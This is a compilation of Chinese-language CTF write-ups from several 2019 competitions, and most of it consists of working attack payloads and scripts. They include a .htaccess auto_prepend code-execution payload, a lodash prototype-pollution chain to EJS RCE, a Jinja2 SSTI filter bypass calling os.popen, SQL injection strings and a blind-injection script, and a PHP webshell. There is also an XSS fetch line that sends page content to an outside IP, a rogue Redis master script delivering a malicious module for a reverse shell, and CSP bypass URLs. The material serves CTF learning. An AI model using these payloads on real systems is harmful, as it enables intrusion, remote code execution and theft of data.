2019WriteUp 汇总 VOL 2

  16 mins to read  


2019XNUCA

自闭比赛,24小时才成功签到

只有30+队伍做出了题,190+队伍光头orz

ezphp

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

题目通过php_admin_flag设置了只解析index.php

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
php_admin_flag engine off

<Location /index.php>
	AllowOverride None
	Require all grante
    php_admin_flag engine on
</Location>

尝试写入.htaccess修改解析规则但在content后附加了\nJust one chance,由于htaccess的解析器解析错误而500,且htaccess没有多行注释

尝试后发现可使用\来拼接后一行达到吃掉换行的目的

ErrorDocument 404 a\
Just one chance

但这里由于空格的存在还是会解析错误,所以使用双引号(双引号没闭合htaccess的解析引擎能正常推断)

ErrorDocument 404 "a\
Just one chance

然后通过prepend来包含htaccess自身,在双引号中添加PHP代码

一样通过反引号绕过字符限制,最终payload

php_value auto_prepend_fi\
le ".htaccess"
ErrorDocument 404 "<?php system('cat /root/fl[a]g.txt'); ?>\
Just one chance
import requests

url = 'http://1c79276efba8487ea2a79fb1ec248297c5e789d7f36e4a98.changame.ichunqiu.com/'
requests.get(url)
r = requests.get(url+'?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20system(\'cat /root/fl[a]g.txt\');?>\\')
print(r.text)

hardjs

Express应用,看了一遍源码就知道是prototype原型链污染,猜测是RCE或者和MySQL交互,奈何不会做

通过node的package_lock找到lodash版本,找到一个CVE

https://snyk.io/vuln/SNYK-JS-LODASH-450202

但是当时卡在newContent[req.body.type] = [ req.body.content ]这里强行包裹了array好像和POC不一样,本地测试了几次失败了以为得绕过这里。最后才知道locash.defaultsDeep是会递归操作的

然后就是正常思路污染原型链,通过JSON可以污染到string或int或array等属性,所以需要找到一个eval动态执行的地方才能达到RCE,通过动态的模版库ejs

看源码找到一个拼接的地方,然后就可以注入代码了

payload:

{"type":"x","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return
process.env.FLAG"}}}

发包五次访问首页,触发defaultDeep,然后再访问模版渲染的地方也就是登录注册页即可get flag

(所以那个sandbox是干嘛用的)


第五空间大赛

体验极差的比赛,脑洞题+菜运维+破平台

空相

?id=1’

五叶

万能密码,脑洞,必须得select出admin那条数据

user=admin&password=1')||username like 'admin'-- -

空性

.swp文件泄露,简单审计,通过php://input绕过

?fname=php://filter

POST: whoami

来到后台文件上传,发现?file参数包含了同目录一个文件,fuzz(脑洞)发现只能包含html文件,且需去掉后缀

上传一个html文件:<?php $f = $_GET[f]; $f($_GET[s]); ?>,包含:?file=upload/xxxxxxxx,成功getshell

六尘

正解,通过SSRF扫描端口,发现8080开了tomcat,title为apache tomcat 8.0.53

通过gopher攻击内网的struts2

非预期,log目录泄露了apache的access_log,直接访问flag页


2019护网杯

SSTI

忘记题目名是什么了,大概就是Jinja SSTI,过滤了d, _, lower, [, ], ',因为没有_[],所以按常规方法无法访问到魔术属性,赛后sec wiki转了一篇文章

https://0day.work/jinja2-template-injection-filter-bypasses/amp/

通过Jinjs的过滤器来访问属性,这样就解决了过滤方括号的限制且可以任意拼接字符串

题目源码大概是这样

from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)

@app.route("/")
def index():
    exploit = request.args.get('code')
    for w in ['d', '_', 'lower', "'", '[', ']']:
        if w in exploit:
            return w
    rendered_template = "%s" %exploit

    return render_template_string(rendered_template)

if __name__ == "__main__":
    app.run(debug=True)

payload:

/?code={% set x,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,c=request.args.x,request.args.a1,request.args.a2,request.args.a3,request.args.a4,request.args.a5,request.args.a6,request.args.a7,request.args.a8,request.args.a9,request.args.a10,request.args.a11,request.args.c %}
{{""|attr((x*2,a2,x*2)|join)|attr((x*2,a3,x*2)|join)|attr((x*2,a1,x*2)|join)(-1)|attr((x*2,a4,x*2)|join)()|attr((x*2,a1,x*2)|join)(54)|attr((x*2,a5,x*2)|join)|attr((a6,x,a7)|join)|attr((x*2,a1,x*2)|join)(a8)|attr(a9)|attr(a10)(c)|attr(a11)()}}&x=_&a1=getitem&a2=class&a3=mro&a4=subclasses&a5=init&a6=func&a7=globals&a8=linecache&a9=os&a10=popen&a11=read&c=whoami

也就是

"".__class__.__mro__[-1].__subclasses__()[54].__init__.func_globals['linecache'].os.popen('whoami').read()

byteCTF

Dot_Server_Prove

首发于先知社区 https://xz.aliyun.com/t/6312

没得图床,直接搬来了

访问/robots.txt,下载parse文件

拖到IDA里一看函数名,发现是GO语言的二进制文件

strings一下发现一些奇怪的字符串

1568026937893.png

1568026775873.png

/var/log/nginx/dot.access.log
cat /tmp/test.txt | awk -F ' "' '{print $NF}' >> /tmp/data.txt ;echo '' > /tmp/test.txt

关于dot server,搜到这样一篇文章:https://www.cnblogs.com/yjf512/p/3773196.html,所以确定了服务器的用途

在题目源码中看到

var ajax = new XMLHttpRequest();
    ajax.open('get','http://dot.whizard.com/123');
    ajax.send();
    ajax.onreadystatechange = function () {
}

修改hosts指向后访问,发现和文章描述一样,是个1*1的gif

根据那条awk指令的用途,是处理nginx日志[空格]"分割的最后一个字符,查了一下默认的nginx日志格式:

log_format main   
'$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_s ent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"'

然后开始Fuzz XFF头,猜测有两种攻击方式:

  • SQLi时间盲注
  • XSS

命令注入由于日志是逐行迭代处理所以不太可能

测试了半天也没有结果,然后放了hint是UA……

Fuzz了一下UA,发现是XSS盲打

1568028201080.png

发现Referer来自127.0.0.1:8080

访问8080端口:

fetch('http://127.0.0.1:8080').then(r=>r.text()).then(d=>{fetch('http://IP:9999/'+btoa(d))})

提示robots.txt

1568028747343.png

访问robots.txt有一个curl.php,访问后发现是一个没有防御的SSRF

1568028519767.png

尝试读本地文件,读了一堆没有发现Flag

然后根据Nginx猜测是攻击FPM,试了几次没有成功

然后试着扫一下端口和内网C段,通过Beef hook了题目主机,扫描了一下发现隔壁主机开着6379(没有截图,写WP时bot已经挂了)

未授权访问是肯定的,写Shell或Crontab感觉不太可能,所以联想到了Redis master-slave-sync的RCE,但是这里由于在内网只能通过Gopher协议访问

研究了一下Redis RCE脚本,发现是在本机模拟了文件同步操作的master服务器,然后向远程6379服务器发送了slave of 指令,接着通过主从复制传送了执行系统命令的.so module,最后通过6379发送load module并执行命令

所以只需要在VPS上模拟master服务器,然后通过Gopher把发往6379的数据包打过去

监听VPS 9999端口的脚本

import socket
import sys
import struct
import re

payload = open('exp.so', 'r').read()

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
s.bind(('0.0.0.0', 9999))
s.listen(5)
conn, addr = s.accept()
print(addr)

CLRF = '\r\n'

def dout(sock, msg):
    verbose = 1
    if type(msg) != bytes:
        msg = msg.encode()
    sock.send(msg)
    if verbose:
        if sys.version_info < (3, 0):
            msg = repr(msg)
        if len(msg) < 300:
            print("\033[1;32;40m[<-]\033[0m {}".format(msg))
        else:
            print("\033[1;32;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))


def handle(data):
    resp = ""
    phase = 0
    if data.find("PING") > -1:
        resp = "+PONG" + CLRF
        phase = 1
    elif data.find("REPLCONF") > -1:
        resp = "+OK" + CLRF
        phase = 2
    elif data.find("PSYNC") > -1 or data.find("SYNC") > -1:
        resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF
        resp += "$" + str(len(payload)) + CLRF
        resp = resp.encode()
        resp += payload + CLRF.encode()
        phase = 3
    return resp, phase


def din(sock, cnt):
    msg = sock.recv(cnt)
    verbose = 1
    if verbose:
        if len(msg) < 300:
            print("\033[1;34;40m[->]\033[0m {}".format(msg))
        else:
            print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:]))
    if sys.version_info < (3, 0):
        res = re.sub(r'[^\x00-\x7f]', r'', msg)
    else:
        res = re.sub(b'[^\x00-\x7f]', b'', msg)
    return res.decode()


def exp():
    try:
        cli = conn
        while True:
            data = din(cli, 1024)
            if len(data) == 0:
                break
            resp, phase = handle(data)
            dout(cli, resp)
            if phase == 3:
                break
    except Exception as e:
        print("\033[1;31;m[-]\033[0m Error: {}, exit".format(e))
        #cleanup(self._remote, self._file)
        exit(0)
    except KeyboardInterrupt:
        print("[-] Exit..")
        exit(0)

exp()

然后抓取redis-rce.py发往6379的包,修改其中主从复制回连和反弹shell的IP和端口

这里共抓取了三段流量,第一二段之间需要停顿3秒左右保证文件同步完成,通过XSS分三步发送

1568029308933.png

VPS上接收的同步请求:

1568029449668.png

接收到反弹的shell

1568029517420.png


数字经济云安全大赛

gameapp

安卓模拟器设置fiddler代理抓包,选取30pts的得分数据包重放即可

import requests


url = 'http://121.40.219.183:9999'
#url = 'http://127.0.0.1:4444'
h = {
    'Content-type': 'xxx',
    'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 5.1.1; Nexus 6 Build/LYZ28N)',
}
s = requests.Session()
r = s.post(url+'/score/', data="""MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
x+T7s4zN0ahrEdOqC+8=\n""", headers=h, cookies={'session': 'eyJwbGF5ZXIiOiIzbmQiLCJzY29yZSI6Nn0.XYQ7uw.-CYaJsjiNdqnC4ni3Xmwb27vubw'})

for i in range(10000):
    r = s.post(url+'/score/', data="""MISygCLch93NMojz/DaKAu88RkCQl2aTH/i0W0a3w0m1JBoEcr4YVuWdvb+hSSqWupieWqm0mDMb
    BdtJ2TWFeorLJKuF5S5J31lzVqKxeoq2h7PGuFqKiwJVtvA6uIdzjOrmkElvnlTysjE3Y06HjCe1
    x+T7s4zN0ahrEdOqC+8=\n""", headers=h)
    

    print(r.text)
    print(r.headers)

findme

二分,整数触发存在误差,二分结束后遍历-10~+10区间即可

import socket

addr = ('121.40.216.20', 9999)
#addr = ('127.0.0.1', 9999)
s = socket.socket()
s.connect(addr)

# random secret

sky = pow(2, 128)

# newground > 0 && newsky < 2^128 && newsky > newgound
newsky = sky - 1
newground = 1

step = (newsky - newground) / 3
g = 0

def solve_bin():
    print('start solve binary')
    ss = step
    g1 = g
    g2 = g1 + ss/2
    
    for i in range(200):
        if g1 == g2:
            exp(g1)
            
        print('g1: '+str(g1))
        print('g2: '+str(g2))

        s.recv(1024)
        s.send(hex(newground)[2:].strip('L'))
        s.recv(1024)
        s.send(hex(newsky)[2:].strip('L'))

        print(s.recv(64))
        s.send(hex(g1)[2:].strip('L'))
        print(s.recv(64))
        s.send(hex(g2)[2:].strip('L'))
        r = s.recv(64)
        print(r)
        ss /= 2
        if r.strip('\n') == '1':
            g2 = g1 + ss
        else:
            g1 = g2
            g2 = g1 + ss

def exp(g):
    g = g - 10
    for i in range(20):
        g += 1
        s.recv(1024)
        s.send(hex(newground)[2:].strip('L'))
        s.recv(1024)
        s.send(hex(newsky)[2:].strip('L'))

        print(g)
        s.recv(64)
        s.send(hex(g)[2:].strip('L'))
        s.recv(64)
        s.send(hex(g)[2:].strip('L'))
        r = s.recv(64)
        if 'flag' in r:
            print r
            exit()


for i in range(200):
    print s.recv(1024)
    print hex(newground)[2:].strip('L')
    s.send(hex(newground)[2:].strip('L'))
    print s.recv(1024)
    print hex(newsky)[2:].strip('L')
    s.send(hex(newsky)[2:].strip('L'))

    print(s.recv(64))
    g1 = g
    s.send(hex(g1)[2:].strip('L'))
    print(s.recv(64))
    g2 = g + step
    s.send(hex(g2)[2:].strip('L'))

    r = s.recv(64)
    print(r)
    if r.strip('\n') == '1':
        # in the middle
        solve_bin()
    else:
        g += step

CUMTCTF2019 Final

签到题

seed=0e1

hash=QNKCDZO


SQL注入

基础无列名注入

/list.php?id=-1%27%20uniunionon%20(seleselectct%201,2,c%20from(selselectect%201,2%20c%20ununionion%20seselectlect%20*%20from%20f1ag1nit)b)limit%201,1--%20-

PHPSQL?

SQLite3二次+时间盲注

利用PCRE的回溯进行延时,利用二次注入修改commentsize进入不同if分支触发延时条件

二次注入点:

$comment = $_POST['comment'];
$sql = "select user from users where id = '".$this->userid."'";
$db = new Data_db();
@$ret = $db->querySingle($sql) or 0;
$db->close();
$username = $ret;
$email = $username."@ctf.com";
$sql = "UPDATE file SET email = '".addslashes_to_sqlite($email)."' where userid = ".$this->userid;

延时条件:

if(( $comment_size + $br_padding) > $max_comment_size)
{
    //移除掉所有html标签
    $comment = preg_replace('/(<.*>)+/','',$comment);
    if(strlen($comment) > $max_comment_size)
    {

        return true;
    }
    else
    {
        $email = "admin@ctf.cn";

        return true;
    }
}
else
{
    //只移除br标签
    $comment = preg_replace('/(<(\/)?br>)+/','',$comment);
    $email = "admin@ctf.cn";

    return true;
}

if分支内存在*的贪婪匹配,而else分支内只匹配3个字符

利用<><<<<<<<<<<<<<<<<<<<<<<<<<<<使PCRE回溯延时

import requests

base = 'http://134.175.2.73:8000'
reg = base + '/index.php?action=register'
login = base + '/index.php?action=index'
comment = base + '/index.php?action=profile'
logout = base+'/index.php?action=logout'

flag = 'J:b'

for i in range(4, 6):
    for w in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|':
        s = requests.Session()
        payload = f"',commentsize=(case when(substr((select code from admin limit 1),{i},1)='{w}') then 0 else 99999 end)--"
        print(payload)
        r = s.post(reg, data={
            'username': payload,
            'password': 'admin',
        })

        r = s.post(login, data={
            'username': payload,
            'password': 'admin',
        })

        try:
            r = s.post(comment, data={
                'comment': '<>'+ '<' * 90000,
                'blog': 'sss',
                'padding': '0',
            }, timeout=5)
        except:
            flag += w
            break
        finally:
            s.get(logout)

    print(flag)

XSS_1

CSP允许加载pastebin.com/overwatch/,需绕过路径限制

二次编码/overwatch/../raw/xxxxx

http://120.78.164.84:49099/9bfaf0c2/?name=https://pastebin.com/overwatch%252F..%252Fraw/TwueyDBm

XSS_2

过滤%2F,编码2和f绕过

http://120.78.164.84:49099/4f6cd853/?name=https://pastebin.com/overwatch%25%32%46..%25%32%46raw/TwueyDBm

成功alert,但没flag,出题人说非预期换种思路

换种思路,根据三种解析器顺序,实体编码

http://120.78.164.84:49099/4f6cd853/?name=https://pastebin.com/overwatch%26%2337;%26%2350;%26%2370;..%26%2337;%26%2350;%26%2370;raw/TwueyDBm

再次alert,还是没flag…??

出题人说考点是&percnt???

http://120.78.164.84:49099/4f6cd853/?name=https://pastebin.com/overwatch%26percnt;2f..%26percnt;2fraw/TwueyDBm